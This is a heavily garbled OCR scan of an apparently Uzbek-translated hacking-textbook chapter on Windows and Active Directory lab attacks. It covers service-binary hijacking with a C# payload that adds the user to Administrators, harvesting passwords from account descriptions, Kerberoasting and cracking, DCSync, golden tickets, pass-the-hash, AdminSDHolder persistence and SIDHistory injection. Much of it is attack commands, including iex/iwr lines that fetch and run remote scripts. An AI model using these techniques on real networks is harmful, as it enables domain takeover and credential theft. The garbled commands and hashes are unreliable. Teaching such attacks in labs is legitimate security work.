,_nima topishi mumkinligini ko*rish
riladi (hozirgacha ishlatilgan [inux

PSC lusers\targer> jex (i http://10.0.0 40:8080/Invoke

; LU, H -Shar, :
PS C:lusers ltarger> Invoke-SharpUp audit “PLbpsl)
=== SharpUp: Running Privilege Escalation ¢ hecks ===
=== Modifiable Services ———

=== Modifiable Service Binaries ==~
Name : Vulnerable Software
DisplayName - Vulnerable Software

Description Vulnerahle Software [td
State : Running

StartAfode - A uto
PathName - s

-

e

Software\] ulnerable Software\ Updater ulnagent, exe

ot) xizmatida xinnamin:g 0°zga-
Icacls yordamida ikkilik faylni

o % forai iy ta'min
“Vulnerable Software (,mrqag:u}fgo.mmiz.
ruvchan ikkilik fayliga ega ekanligini
ko‘rib chiqaylik.exe':

\Updater\vulnagent.cxe

\Vulnerable Software I.{ UTHORITY\SYSTEM: (1) (F)

. o fegrele | "15‘(} ‘n‘.d'ﬁ" iz N
PS C:users target=icacls 'C:\Sof ter vulnagent.exe NT

C:Software\Vulnerable Sq/i’n'a.fz"ub]ndd
BUILTIN Administrators:(D(F)

BUILTIN' Users:(1)(RX) | -
ch ganday imtiyoz y0q. Windows

chun he ik faylni topishga harakat

e ekilik u A
Bu shuni ko*rsatadiki. bu ikkill bo-shliqda ikkil

ikkilik fayllarni qidirganda. u har bir

Gilishni boshlaydi.
¢:\Software\Vulnerable.exe ‘fl i

1310gidagi imtiyozlar ko'rib chiqgiladr:

u 148, = iri i :'\- ﬁ are ka—
| £ s E;(’ W,

PS C:\users\target= icacls ("‘]'Sq’tn;;}'H)t‘OH(CU( F)
C:\Software\ NT A L"}’H()R!Tﬂs}*‘Em:ﬂ'

BUILTIN \Administrators:(D( 0{ )C
BUILTIN\Users:(1)(ON(CIH(RX)
BUILTIN\Users:(I)(C)(AD)
BUILTIN\Users:()(CH(WD)

“)(10)(F) ;
CREATOR OWNER-(/(ONCU( ati mavjud, shuning uchun

- ] adminis-
in. O‘zingizni lokal admi
h muml;ll?illadi- Z:if wcc” faylini ya-

4 da dastur ):l:qilinﬁdi' Tarkibni olish uchun
ilyatsty

. . ’ niy
. echish imko
Bu verda favllar va kataloglarni 4° S'llis
u yerda fayll: ; rakat q!
biz zajf cc” faylini \’aratlshg? hiu;'.‘
: - shun C
lrator]ay guruhiga qo*shish ueh uni komp
fatish ¢:\programdata va key; 1‘1~.|i121c:1i C#:
Ushby asosiy skriptdan foydald

using System;
hamespace Test{
class Program { /
g . 5) e
Static void an{su-mgﬁ (HS'S J il "CMD.exe
System. Diagnostics. Process: rs GHH\1arg!
/¢ net localgroup Administ ato

1}

Jadd"):

ble.cc™, uni.net framework’da

nera o
Data\Vu! lish mumKkin:

1T l‘arn M H
Faylni saqlash bilan C'g;lr;fkompilyatsl)’a ql

osmal“gan C# kompilyator! T\ Frameworkvd. 0.30319\csc.exe
NE

psiicrosoft

2 & ‘Sﬂfhl'am\

Aypindod
PS C:\programdata™ C:'Wint

‘Wulnerable.cc nologo h,.uf;rerabfe-f-’—"
PS C:\programdata> copy -

G

L_



yor, xizmat ko‘rsatadigan ushby

Hamma narsa tay
harakat gilib ko*rish kerak.

PS C:\programdata> Get-Service "Vulnerable Software" |
>> Restart-Service -ErrorAction SilentlyContinue
WARNING: Waiting for service 'Vulnerable Software (Vulnerable
stop...

PS C:\programdata> Get-LocalGroupMember Administrators
ObjeciClass Name PrincipalSource
Group GHH\Domain Admins ActiveDirectory
User GHH\target A ctiveDirectory
User WS20\Administrator Local

Software)' to

Hozir lokal Administrators guruhi a’zoligiga ega, lekin wh
rug*idan foydalanish buni ko‘rsatmaydi. Imtiyozlarga ega bo'lj
chiqib, yana tizimga kirishi yoki runas, bosh
kerak. Qanday bo‘Imasin administrator hugq
kerak. shuning uchun bunj
kasi ko‘rib chigiladi,

oami /groups buy-
sh uchun tizimdan
qa usul orqali yangi seansnj boshlash
uqlariga ega yangi qobigni o*rnatish
Active Directory yordamida ba’zi bir eskalatsiya taktj-

Active Directory imtiyozlarinj oshirish
oshirish texnik Xususiyatlarni,

tratoriga yo*llarni qidirish BloodHound kabi vositalar yor-
g irilishi mumkin. Yo“llarni topish

' uchun qanday vositalardan
Uly nazar, tez-tez sodir bo*lishi kerak bo*lgan bir qator k

ini topishning bir necha us

AD imtiyozlarini

vositalarni ham 0°z ichiga
oladi. Domen adminis

es-
ul-

Laboratoriya ishi 17.10:
vehi obyektlarida parollarni gidirisp

tavsifida parollarni o¢, ichiga oladj.
mkin bo‘lgan hisob

Foydalanu
Ba’zan xizmat hisoblari

: ; Bu ma’lumot
so‘rash uchun ishlatilishi muy;

boshga umu-

| aqiqatinj oz-
yada bo‘lgani kabj
olish ma’lumotlariga

PowerView modulini yuklanadi va hisob tavsifj

iriladi:
PSC: ‘programdarq -

Get-Domain User | sele
_ ctsamaccountname descript;
== where description : ' P

~like "*passywopg*
Samaccountname description

Xizmat hagida o'ylashga

GINGER MCDONALD Just so | dont forg
iSUBK}SNE=BjMmcwa2) .\7} x}\jr ——
LORENA VINSON Just so | dont jor :

el my password is

d is T36F#iaM8c4RSUXvHmSKV Y
( - password I

ANDRES ELLIS Just so I dont forget my past

EnBE!50Ry3fe E%4zbMbKq9nls -

R sozlamasining bir qismi

Jdama i
uchun reklar hisob ma’lumotlarining

Bad Blood ushbu laboratoriya lSl:tl O g el malametining
- WsaaILly hisohlarn'i IO.plar}lrict‘uruh a'z;ligigfl cga l{?lnl:iszligt‘ilda foydala-
e nmnﬂf"?d\::z:;luvghilar kucha}:lirwhﬂ};ig: ega bolishi kel"‘fk:
b.ll farglardan qat’i . t(:}-ma hisobga olish ma hflll;?asa. hisob ma’lumotlarini
nA]Shi mL:IEki?' b“(;lé’ll‘::i:}::‘;;ng hisobi qiln“:f];;] P;) as-REP ko‘rib chiqiladi.

*8ar ushbu Foydalz .~ 1 Kerberoasti
Olishning boshcia usullari mavjud. Kerber

pl e B yigish
s otlarni )

ib, ma’lum : ida veb-server-
i SharpBinaries katalog'dab‘ T s
Powst mkin. Rubeus

O ‘lash mu
tasini yukla 0z ammo bu
i 50 Ng RubEUS \;(}SIu}Sl l-adi- U C# da }’Olegan.-

e IUShil'g'clﬂdﬂ: hol i:;;i]isl1 imkonini be
TOsni o*rganish va eksplo

i aniladi:
i an foydal
- i versiyasid:
] < Shell ning bosqichli ve
ashq uchun Power g

Laboratoriya

Kerberosdan flﬂ\ ”
‘loani ka
17.4-laboratoriyada bo*lgan!

Ha-= I(] lq ‘\lu'L’;G(;O.”IHI'UAL"RH!]L’H p }
fex( W ; I ).'.’.-:’J.!{)- . . | ’. |
! -S. "‘ l'lu { ,t.}'(””(!f [a- ex i 1 ! ] |

; 0S e ing Server
<o AD’da kerber Eizmat Ticket Grz?n-tmb' oy
Kerberoasting xizmatlarning Ushbu > 1 xizmatga kirish imkon

di.
. - 1an foydalanadl- = ilmasda i
s obickn US{‘} Il(i:l‘:l!;anjvchi ]Jarol[ml :ﬂlchi ma’lumotlarini 0°Z ichiga
'GS) dan olinadi va foy foydalant

; i — kompyuter
. a’lumotlarl :

: - uchun ining hisob m ir xizmat Active
yatinj aniglash uchun .mzlﬂali xizmat cgas-mmjﬂf‘rlangfl“- Har b_u' ;lz?;a]anuvchi
di. Ushby xizmat }’O'Ha'm-ﬁ]lﬁsobi yurdam‘daN) bilan aﬂiqlal.]adl’ Oyoallanmani
hisobi yoki foydalanuveht ipa (P foydalanuvchi ushbu y

: . ice Princ . oladi va
Ifectorydagi Service P ‘dira 0

3 . . uchun ¢ ) A sport qilsa, ular
hbu xizmatni aniglash atga Muro; ollanmalarni ek paning shifrini
"0"raganda, magsadli Xizmags b, so‘ngra yo'llanman kin
Buning o*rniga, agar foyda i 8 lantll‘lb;l Hay rejimda buzish mux‘nb'l‘.
e ~ xeshl . ao i ol ekanligl ili-
"amunayiy parolni N1 LA h vositast ¥¢ ¢ uchun haqiqty par t domenidan
Ochishga urinib, parolni buzis ‘|sa, bu XIZME Rubeus to Kerberoas dalanuvchi
8ar yo*llanma shifrlangan.b0 eb nOmlanaql'h mumkin bo‘lgan foycala
Nadj, Bu jarayon Kerberoast.lngc un foydalants
U lari U
OYdalaniladi va maqsad

. +oniladi:
.qiy SPNlarni tOP!




PS C:\programdata> Invoke-Rubeus -Com "kerberoast ‘outfile:C:\Programdatah.txt”

Endi xeshlar h.txt faylida bo‘ladi va ularni buzish uchun Kali’ga nusxalash
mumkin. Xeshlar ko‘chirilgandan so'ng, Jon R
ro“yxatidan foydalanib, ularni buzishga harakat
tez bo*lgani uchun avval juda kichik so‘zlar r
kerak:

qilish mumkin. Ushbu mashinalar
o°yxati bilan harakat qilib ko*rish

(kali kali)-[~]

S john h.txt --ru=KoreLogic --wo =/usr/share/legion/wordlists/ssh

-password. (xi
Passw+ord127 (?)

U qaysi foydalanuvchiga garatil

ganligini bilish mumkin emas. shuning uchun
John POT fayl tekshirib ko‘riladi:

L—$ car /. John/john.pot

Skrb5tgs§238*pass wordadminSghh.local$ www/password*$h9506¢ 9dace 3 92eld718fc-
Theaf693d78a2557h9575 7f7h 5:!6()0!).—?eea-le-ffaJS.?64(:’(‘(’4453.’!1!3&305 ledbl7¢39aec8a-

ld51e3edb86c5addaabedns lae890f0af586eachscée3 700/3e0d52319497¢5035¢59 1 4.
898777a/20bf4fc27927eebf72e150761222595 dbabdeds22ec | 793f3ef0da83a42fbdech-
0df8296e 736e325¢f124d7¢c1d27hb 9332dee l4aaee87ababdd3eqs 732573df27 {454:}‘;[//‘_*9(--
1f4€939285] ?&bbbib?134d3ad5deb3335058aa5d9c95846fb2b6096956 Ibalf+be92d0935a50h-
de266/18df4c80e9126cbe05e54bfedd436e5 ‘

_’6986(::!!(:905f660d{re3aeOJﬂJ 16/8¢817062634¢-
47d64[82b07d59d8a35b6d0b723dbP3351923 b49d1034ac3596¢542234dfid2353pd s 212c-
deed45aafec678225d7d4750 7442b958dfd18d063b2bfe 7bb08 37ctb 1505 260 Tfebf6d7 153042/
97738362898d4382592522945b8b6309¢ 7adh 1 beg? 7ee077, 7d3 i

i £ 2 v ﬂ??ﬁe”903_[096?(.’39(}[3[9340“_
b1515e5 18ff15d1257flcse 7329422926d5ea68 13d4f939846¢9b 607 7ed96d9fa7dd3d56b3dce sy
€2913750651]e5 04acSSOURCE HASHS Je6 7606973&':5’96651’)365#)9{;/3 ?QJbe:Z’.'Prr.s'.s'ti-+ ordl127

Foydalanuvchi Passwordadmin Passw+ord]27 paroli
mumkin. Buni bir daqiqadan s0°ng yana tekshiriladj,
ted foydalanuvchilari bilan bir Xil narsa sinab ko*riladj

&a ega ekanligini ko*rish
lekin avval AS-REProas-

: + Ushbu oldindan autenti-
fikatsiyani amalga oshirishda ma’ i

r dalan i
xesh yordamida shifrlangan foyd i i i e NTLM
shunday tarzda buzish mumkin:

ipper va Kali qutisidagi so*zlar

)y -

Laboratoriya ishi 17.1%:
Kerberosdan foydalanib imtl}?oiﬂar;‘lzolik A
b v . . ouru 1oa '
- ovdalanuvchi paroli gurunga hun PowerView-dan
Ushbu administrator foy dala- Y ok Buning uchun
ligini va bu guruhlar nima gilishini bilish kerak.

foydalanishi mumkin:

P i sct memberof
User Passw dAdmin | select m
S C:\programdata> Get-DomainUser assword
& Jrogre -
memberof =ghh, DC=local
| 7 C=ghh,
e gl gl CJ!“OHPS-D( g
5 : = g I— Administrative
CN=CloudSyne Users.QU=A¢ | l
| idaj an. shuning uchun
dmi astrator guruhidajoy]ashe n
admin

> ‘ chi o vchisi yoki Cloud-
CloudSyne ondalanu\g:j' parol administratori f0) dalanu
bu funksional korinadi. ADda

. day qiziqarli
S ruxsati berllgal-l ']1ar .qan- it
i el gl‘“u!;lgidl;ln::;D 0b)’ektlarldﬁ-gz:qt%;l!::igll:rslishdir. guni
ACLlarni topa olish m'umklll-s :stinEDOmai“A‘fl cmdlct:l e g i i
rdigan PowerView Fmd'mltlr;n1iné uchun Unl.qay:ja—l?lefl qanchalik katta bo’lsa,
f"zgaruvchida saqlamoqt‘h‘l- S 1ehnat talab cIiladl . so‘ng ruxsatlarni osongina
':at ?JIO'Q- chunki bul;in.ll\d‘:tliobg-::ldi Qidiruv tugagandan S0°Ng
alijalar shunchalik katts '

ilanadi:
. tini ham belg!
0*qish yel >solveGUIDs variantini h¢
q1sh uchun Reso et _ResolveGUIDs

F :'m-’-h:rere.s'ffugDo

PS5 C:\programdata> Sacls = Ushbu vosita domendagi

; kin. S
shi miin? pilgan har hir yozin

illi. -l
IcH{dh i ”.”—h '_‘;;f(rum’.f v lo

: gl

Mastahar: Bu ancha HH!I watlarini k
harely, kirishni boshqarish “,!, A 1cli
: ) : sirdet . : L
“hun ma lumotlarni mosld enceName”ning bir gismi

“Idenﬁt}'RcrerlaSh uchun PowerShell dan

guruh hun filtr

Keyin foydalanuvch.i Ve 8 Buning ue
0%lgan obyektlarni toppish ke

1"\‘))’dal:anish mumKkin:

Je | ¢ ordAdmins” -or
PS C:\programdata> $acls | A{, -eq "Passwo {Mf s M
>> if$ . IdentityReferenceNam® nCloudSyne Users")
>> I-Sfr I f e't ReferenceName ¢4 '
== 3 . ldentityRefe il
ObjectDN : DC=ghh,DC ff;’: ;’"
AceQualifier : Avcessf”a’ﬂl“ ndedRight .
ActiveDirectoryRights : Efm o Get-Changes
Ob,fectAceTvpL; . DS_Rgphcanon
AceF, lags : None it
AceType : AccessAllowedObje 2511
InheritanceFlags : None 57-326289881 2-2
Securityldentifier : S-!"S-E‘f udSyne Users
fdenriquejé;-enaermre : . 0}1 n.local
IdentityReferenceDomain : &

i

"084”-!0495635}8— 207




IdentityReference DN : CN=C, loudSync Users,OU=Administrative
Groups, DC=ghh, DC=local
IdentityReferenceClass : group

Cloud Sync foydalanuvchilari guruhi DC’nj domen bilan sinxronlashtirish im-

koniyatiga ega. Ushbu foydalanuvchi nomi ostida tizimga Kirish va ushbu vazifa-
larni bajarish mumkin yoki TGT qo*shish uchun Rubiusdan foydalanish mumkin.
bu desyne hujumini qayta autentifikatsiya qilmasdan amalga oshirish imkonini
beradi. Keyin emd-ni ochiladi .exe yuqori imtiyozlardan foydalanib. administrator
sifatida Oynani ochiladi va PowerShell so‘roviga o‘tiladi. Rubius modulini gayta
yuklanadi va TGT ni so‘raladi. Ushbu kengaytirilgan holda kirish kerak. chunki
bunday holatda odatda sessiyaga kirish ma’lumotlarini kiritishning imkoni yo'q.

PS C:\Windows \System32> Invoke-Rubeus -Com "askigt /ptt Juser: PasswordAdmin
/password: Passw+ord]127"

<snip=

[*] Action: Ask TGT

[*] Using re4_hmac hash: 3009543 9B35315DFBODS662F84¢C 2EED]
[*] Using domain controller: EC24 MAZ-TBKCOD.J.ghh.local (10.0.0.10)

[*] Building AS-REQ (w/ preauth) for: ‘ghh.local \PasswordAdmin'
[*] TGT request successful!

Ushbu hisob ma’lumotlari darajasi bilan Password
lari bilan DCSync-ni amalga oshirishga harakat qilish mumkin. Buning uchun
krbtgt foydalanuvchisiga DCSync hujumini amalga oshirish uchun BetterSafety-
Katz"dan foydalaniladi. By domendagi istalgan hisobga kirish uchun oltin chipta
hujumidan foydalanish imkonini beradj. 2%
iex/iwr statoridan foydalaniladi:

Admin hisob ma’lumot-

PSC:\ Windows\System32> iex(ivoy http://10.0.0. 40: 8080/ Invoke
PS C:\Windows\S Vstem32=> !m‘oke-Be!terS‘aﬁ{yK aiz

[+] Stolen fiom @harmjoy, @TheRealWover: @cobbr io and G ilkivwi

- . ' N (O @ " A ; g /
K i i vgentilkivi, repyy posed by
[+]C onlacting repo -> 2.2.0-202] 0810/mimikatz trunk.zip
[+] Randomizing Strings in memory -

[+] Suicide burn before Create Thread!
<Shipped>
7DBOINAY #

-BenerSafe.{l-*Ka!:. psl)

sadli DCsync’nj baj

. arish mumkin Variantla
magsadli foydalany

vehini belgilashi kerak:

7DBO9N A} # Isadump: sdesyne ‘user:krbigt

[DC] ‘ghh.local’ wil be the domain

P -

[DC] 'EC2AMAZ-TBKCODJ.ghh.local’ will be the DC server

[DC] krbigt' will be the user account

[rpe] 4W7Z60P : Idap )

[rpc] AuthnSve : GSS NEGOTIATE ( 9)

Object RDN : krbigt

** SAM ACCOUNT **

SAM Username : krbtgt '

Account Tipe : 30000000 ( L*SEiijmfgg B\ -

User Accownt Control : 00000202 ( AC

Account expiration :

Password last change :
5 s 262

Object Security ID : @S-1-3-21-32 0.

Object Relative ID : 502

<snipped=>

Credentials shetae

il e PTI 752{!609350ﬁStifﬁcgf?;(_;.;;?’f1484 a

775bb3eSc24ace2d4D- < ; 74e876f63a2
aes 128 hmac (4096) : 976faae (t‘*f;)'i;f’;;i?“f’” ees
des_che mds5 (4096) : 75be49f7070dc

ISABLE NORMAL_ACCOUNT )

; -10:47 PM ) =
i !(8988!_"-25112084.'}-!0493635!8-302

i i. bu 502 gacha
- bo*ladi: domenning SID obrozi, g
o ps ’ t kerak bo‘ladi: ne g ol h T -—
b 1Bu y;rdall]\ksnla[)‘;;? lezl;:n;e:;256 hmac obrozining xeshi. Bu ma’lumo
0'lgan barcha B

0 lar ularning soxta
i anday yo‘llanma ng
i shifi i raflgan aREA i lanib. administrator
chunki shifrlash kuchsizroq ya - idan foydalanib,
¢kanligini ko*rsatishi mumkin. J

Oltin:ehipta. M rchi uchun TGT sox-
uc| chi. Ushbu hujum boshqa foydalanuvchi
Chun TGT yaratmogqchl. U ;
talashtirish uchun krbtgt shifi

lash kalitlaridan foydalanadi. keyinchalik ulardan
as
domendagj tizimlarga autentifikat

iya gilish uchun foydalanish mumkin. Hamma
sl
i htiriladi:
harsani taklifda bitta buyruqqa joy1as 262898812-2511208411-
lsid:S-1-5-21-3262 FAFRY B
- ghh.local /sid:S-1
: s oolden /domain:g
TDBOINAV # kerberos::gole -
83148439a4e5bcdae

1063318 2d4b 2bb595252d6ae35e686/6df28033
‘aes256; ] ??5bb508r_'.?-mcf.‘-fz 24
Yuser: Administrator /id:500 /plt

S/D va boshqu teeishli ma lumotlarni o _-;?:;;
SID va bo. j o 2y
, Jaoaniga ishonch hosil gilish zarur. S f

hhr’ clementlar uchun kevingi bosqich-

Jam har bir o zgaruvchi-

. ””(f,\'i
| s ' ol b .!,\fH'i .
Maslahat! g chun vangi

hoshgalar ka ‘
b gilinadi, shuning uc
Jr hosil gilish kerak.

Yoy H:HH.’H.’(.‘L{” "-"'“-\'a‘ru.\f!{”'l,\f} .

} . s
:r'mnm tekshiruvi xost nonti ve s
~oqrishilar tale
&4

.fcu';‘ P o 3
e d g [ n
Lqo .\!nmc ha qu ;_\‘f?rH?t

U moy ravishea vangilangan t |
| | | ) b . . . i di:
i iritileanligini ko‘rsata
= 4% 'atilganligini va sessiyaga kiritiiganiig
uyangi TGT yat

User : Administrator

3‘23"."’2’} éjzh?}k;c:gogggz-ﬂ!!2084!1-!0495635,*8

G




User Id : 500
Groups Id : *513 512 520518 519

AW 7Z60PKey:

1775bb5e8c24acc2d4b2bb595252d6ae3 s, eO86f6df2803383148439ate5h-
cdae -aes256 hmac

Lifetime : 8/10/2021 2:52:35 AM : 8/8/2031 2:52:35AM ; 8/8/2031 2:52:35 AM
-> Ticket : ** Pass The Ticket **

<snipped=

Golden ticket for 'Administrator

@ ghh.local’ successfully submitted for current
session

Yo'llanma muvaffagiyatli yaratilganini ko*rish va endj Mimikatzdan chiqish

mum[.(in. Endi yarogli administrator tokeni bor va undan DC ga kirish uchun foy-
dalanish mumkin. Kerberos hujumlarining yuqori gismida DC nomini EC2A-

MAZ-TBKCODJ.ghh.local sifatida hal qilganini ko‘rdik. Masofaviy kirish uchun
PowerShell-dan foydalanish mumkin:

PS C:\Windows\System32> Enter-pSss ession EC2AMAZ-TBKCODJ ghh.local

i EC 24 MfiZ— TBKCOD.J.ghh. local]: PS C:\Users \Administrator \Documents > whoami
ghh\administrator '

Endi domen administrator hu

quqlarini olind; va hh.] " ‘lia nazo-
rat qilinadi, ghh.local. forest to*liq naz

. _ Active Directoryda saqlash
' Endi D9m<::-r_1 admmlstrato%'lga ruxsat bor, uni saglab qolish mumkinligiga
ishonch hosil gilish kerak. Buning uchun bir nechta variant bor. Masalan, o*zimiz

nazorat giladigan yangi foydalanuvchilarni yaratish va keyin ularni domen admi-

nistratorlari kabi ishonchli guruhlarga qo*shish mumkin. Yetukroq tashkilotlarda

€sa, tanqidiy guruhga a’zolik sinchkovlik b
: : lan nazorat qilinad; i hilar-
ga maslahat berib, ular kirishni o*chirib 4 di va himoyachil:

. 2 0°vishj - ; -
r0q. qo*shimcha imkoniyatlar mavjud. Qaq Yishiga sabab bo*lishi mumkin. Bi

¢ it e . Uiylikka erishishnin ikki li ko‘rib
chigiladi: AdminSDHolder obyektini zaharlash v SID tarixinigliilﬁiitsahusu o

Laboratoriya ishi 17.13:
AdminSDHolder mexanizmi .
DerbyCon5 ko‘rgazm

rectory Attacks & Defen

: ni suiiste’ mo| ilist
asida Shon Metkalf “Red vs, o

se” nomli ma’ruzq qildi,

Blue: Modern Active Di?
'unda u Active Directory dagi
.. Bu konteyner alohida hisob-

T iga Kerberos

17.12-laboratoriva ishida DCSync ni ba,lafllql V?q't;‘?l\l/ll] ‘f::l'?l?gakerak. Bu-

yo'llanmasini Kiritildi. Ushbu hujum uchun seap?fd;atz DCS‘}'nc'ni yana yuklab

ning uchun administrator hisobi LlChI:II'l BeltlerSaIB ) NTL.M coshlaitan Fondilan-
olis~i1 va keyin magsadli mashinadagi sessiya uchun ‘

gan holda yangi cmd.exe faylini varatiladi:
cox(iver hitp://10.0.0.40:8080/Invoke-BetterSafetyKat=ps1)
>iex( 110G

. Invoke-BetterSafetvKat:z i TR i '
Im “MRB}”E“.‘.,- acobbr io and @gentilkiwi, repurposed b)
‘.’( 3 LI -

PS C:\Windows\System32
PS C:\Windows \System32= fves
[+] Stolen from aharmjoy. @ The
a Flangvik and .@Mrtn9
<snipped> o T
DA 2{‘-:(! V7R6 # Isadump: :desync /user: Administrat0
<snipped>

Credentials:

Hash NTLM: 19d56dfa8872¢6039
=sniped> )
DA2PWTRG6 # privilege::debug
Privilege 20" OK _
DA2PW7R6 # sekurlsa::pth /us
‘ntlm: 19d56dfa8872c603984 cff
user : Administrator

domain : ghh.local

program : cmd.exe

impers, : no B
NTLM : 19d56dfa8872¢603 9
| PID 2792

| TID 4848 -

| LSA Process is now v oolad?])
: L L;JD r; : 249605489 .fnunnumg g;fgf ; 1F0: OK !
I _msvl 0 - data copy @ 000002

' kerberos - KO

S4c4417Y GaS9abe

or- Administrator ‘domain:ghh.local
96ﬂ'89{160

S4c4-4ffv6as9abe

kerak edi. Endi AdminSDHold.er ob-_
ongina ko‘rish uchun PowerView-ni
da ishlash kerak:

si paydo bo’lishi
ckanligini 0s _
1i qo*shish ustl

Yangi buyrugq satri 0ynas oo
Yektining joriy imtiyozlart l:éoon
Yuklash kerak va keyin bac

archell

C:\Windows\system32>powershe

Windows PowerShell 5 o

Copyright (C) 2016 n.f;cr;ﬂsf"'{i;wr

PS C:\Windows'system327 1 ‘r.{'hBase

PS C:\> Get-ObjectAcl -Sed
Ca ‘!u .

== ResoheGUIDS |

> Where ActiveDireclO
> s %'l (‘anpgrﬂ?ﬂ?ﬂ!'SID

Local System

i -ights reserved.
rporation. All righ

htp://
nC N

erView.psl)
0:9999/PowerView.ps - L
m.f,.‘!{ilz':nnSDHcﬂder: CN=System,DC =ghh,DC=lo

0 "GenericAll" |
Richts -like 'Gufc*na
f‘}? f%?;cm‘i[v!denry?er }
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ystem BUILTIN hisobi Ad
ing, qaytib kelishimiy uchu
werView-da Add-Obj

ni nishonga olinadj va
qo‘shiladi:

to’liq imtiyozlarga ega. Kel
ni qo‘shaylik. Buning uchun Po
niladi. AdminSDHolder obyekti
foydalanib, GenericAll huquqi

PSC:\> 8sb = 'cN =AdminSDHoldey. N =5
PSC:\> Add-Object

Stem, DC=ghh, D= ocal’
Acl -TargeS, earchBase

Ssh ~Prmc'.r',r;'ufkk‘mfz_v target -Rights Al
Endi huquglarni tekshirishda GenericA

Il huquqlariga ega Kirish ro‘yxatida
GHH\target foydalanuvchjsinj ko‘rish kerak:

PS C:\> Gey- ObjectAcl -SearchBase Ssp -ResolveG /1 |
> Where A.:-HveDfrecroqufghrs ~like "GenericAl |
>> %{ ConvertFrom-Sip

S__.Secm'f{vfdem{ﬁer }
GHH \targer

Local System

M

u\.faﬂ'aqiyfat! Huquqlar har Soatda boshga guruhlarga targatijadi.
uchun biroz kutish kerak, keyin Domen admintratorlqy; guruhi tekshirib ko*riladi
Va maqgsad guruhga to°liq kirish |

uquqiga egy ekanligin; ko*rish mumkin:
PSC:\> Get-Objectfct -!demi.'y
== Where ActiveDirecy

"Domain 4 dmins” - R,

. ' solveGUIDs |
OryRights -like "GenericAl |
>> % ConvertFrom-sip _.Secm'fox]dem.iﬁer }
Local System .
PSC:\> Get-Objectael -Identity "Domain Adming"
ns" -Resoly, ;
== Where Ac.'fveDfrec!mijighfs i) O eGUIDs I

~like "Genericaym
>> %{ ConvertFrom-Sip 5 . m'{vfdemfﬂer; |

Local System

Birinchi urinishda fagat Lokg) tizim to

= e ‘liq kirish huquqiga ega ekanligini
Vi bir nec.ha dagiqa kutilganida, Magqsadli foydalanuv-
kin, Magsad|; foydalanuvchi sifatida

*shish mumkin,
Eslatmal By, bir so

aigachq vagt olishj
kerak bo‘lsa, D( dagi s

i Mumkin,
Esstvada Riy,-

; Agar bajarishng re=lashirish
SDJ rop.ps | Jay

ni isheq tushirish lozim.

_ Laboratoriya ishi 17.14;
SIDHistory _ 1, SIAD]:_I'S“;)"Y mexanizminj Suiiste’mol gilish
Iy — bu Active irectory mj ratsiyasid . i-
yat. Domenlarn; yoki Forestlarn; g .98 yordam Deradigan xususi

i birlashtirgandy, yoki migratsiya paytida, oldin-
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minSDHolder ob}'eklid_a
n magsadli foydalanuvchi-
ectAcl emdletidan foydala-
keyin Rights parametridan

shuning

i i tida kim
de vchi migratsiya vaq !
fb:‘:S(IIaDllztlr;:wrv maydoni foydalanu;ch;
s - - P - a
!Il{larlling SIDlarint saqla)fil_. sh;lzvom
vehisi sifatida foydalanishda

gi resurslarga kirishni saglab CIO,“S?‘ L:;T;
borlganligini bilish foydali bo'lishi T
tegish; byo‘lgun olding .E]ISObl?rlii(}foxziaial1ll
boshga muhitlarda o*zining avvalgi 10}
etishi mumkin. .
ShF:\::alanuvchi uchun ol.dlng’.. nida
ma’lumotlar bazasi migratsiya r-t"lgl.min
li PowerView yordam bel‘ma}r(.jl' kerak v
uchun imtiyozlaridan 1-0};dalaﬂ152 lanish mum
nals PowerShell modulidan fo‘\., aolishi uchun
tushirmagunicha ADni ishlamay gr—PSSessiOI‘l- ins euru
o qiladi-. il kiriSl‘t; ucl:ﬁi:;ii? Endi Domain Admins g
ratoriya ishi oxiridan bos )

mumkin:

i odatda AD
i qo‘shish oson ish en.u?s. E?:uS! el
iSlD]ﬂmlfjl da amalga oshiriladi. 1~u' ey
" ]ga'na DC ﬂz:to'g.‘ridan-to‘g rl I\ll'tISr
P o o' :
il Fl“f._: 1 SIDni qo*shish uchun DSI'nhi .
" E\e}lll&' Modul xizmatni qayta ishg
:&DS xizmatini to‘xtatlsl;ulu blz-
i bajargandan so'ng, 17.‘1.-._- ab
O The hining SIDni olish

ADGroup "Domain Admins
I-

J: PS C: Users> Ge pC=ghh,DC=local

; T T
e TBA'(‘{)D‘{f’JJ}g::;::f in Admins. CN=Users,
DistinguishedName : C ! ~
GroupCategory : Securil)
GroupScope : (;.-'nhuf‘
Name : Domain Admins
ObjectClass : group
ObjectGUID : 967 10f0c e
SamAccountName : Dmn::u; -_,5!
SID : §-1-5-21-32628988 [2-2

Tced257382
el Jt.’bS-bt’Sb-.?d'Ll’.d..)
J’-S e~

mﬂ”::'i\'-f!f-.-’()4956351'3'5 2

. iloanidek ornatiladi. Bu'nlmﬁ_tll':
ko'rsall’g jini beradi. Agar bog hc!h ni
nlll::z‘lhaki ha deb javob beriladi.

uyida K0 1>
t%),dalamsh 1
do bo‘lsa, sh

ulini

Keyin dsinternals modo-nsl

ni tizimga O'I'Halgand'r‘fn Zk!ifvpay
qo°shish uchun biron bir t

-\Users= ir .
!ocﬂ'g ?f- E:; \Users=> import-
locatf: '

e s
(all-module dsinternals forc
istall-

modiule dsinternals
[EC2AMAZ-TBKCODJ.ghh.

[EC2AMAZ-TBKCODJ.ghh. atini to*xtatishva keyzan?qusﬁg_
-0 DD- )
. ruhi SID QO.ShISh' UC]};IS;dit ma’lumotlar
Admins g4 ndan tashqari, N ' TDS xizmati
nish kerak. f " k. Faylga kirish uchun N :
h kerak.

‘rsatish -
k‘i:ollda u bloklanadl.

¢ NT DS xizm
o'ng.
Modul import qi]ingandan S &

li foydalanuvchiga Domenl
History cmdletidan Foyda-ii
bazas; faylining joylaShU\_’laks
O°chirilgan bo‘lishi kerak:

i e
[EC24AMAZ- TBKCODJ-QJF;’:-j:ﬁi;_. pSCA> N
[EC2AMAZ-TBKCODJ.gh 2571208411-1049563518-512
el 5.21-32628988 mg.y_:;};is.:ﬁ! "
3 “SMHMOW;S-;I::*-;iriffff(;11's\h" J’" ‘? ‘q C:\ > start-service nids
i [(:’?()bf ghh.local]: 1+
[EC2AMAZ-TB V.

Jrvice ntds -force T -
c:\= Smpﬂs;gggéjdl{ i s{orv -SamAccountName tar
~o > Add-A £ o

"N

R D A



Xizmatni qayta ishga tushirish uchun

magsadli foydalanuvchini tekshirish va
mumkin:

[EC2AMAZ-TBKCOD.. ghh.local]: PS C:
DistinguishedName : CN =target, CN=
Enabled : True

GivenName :

Name : 1arget

ObjectClass : user

ObjectGUID : b37925a0-d15 4-4070-bd3e-
SamAccountName - larget

SID : §-1-3-21-326289,
SIDHistory : {S-]-5.
Surname :
UserPrincipalName -

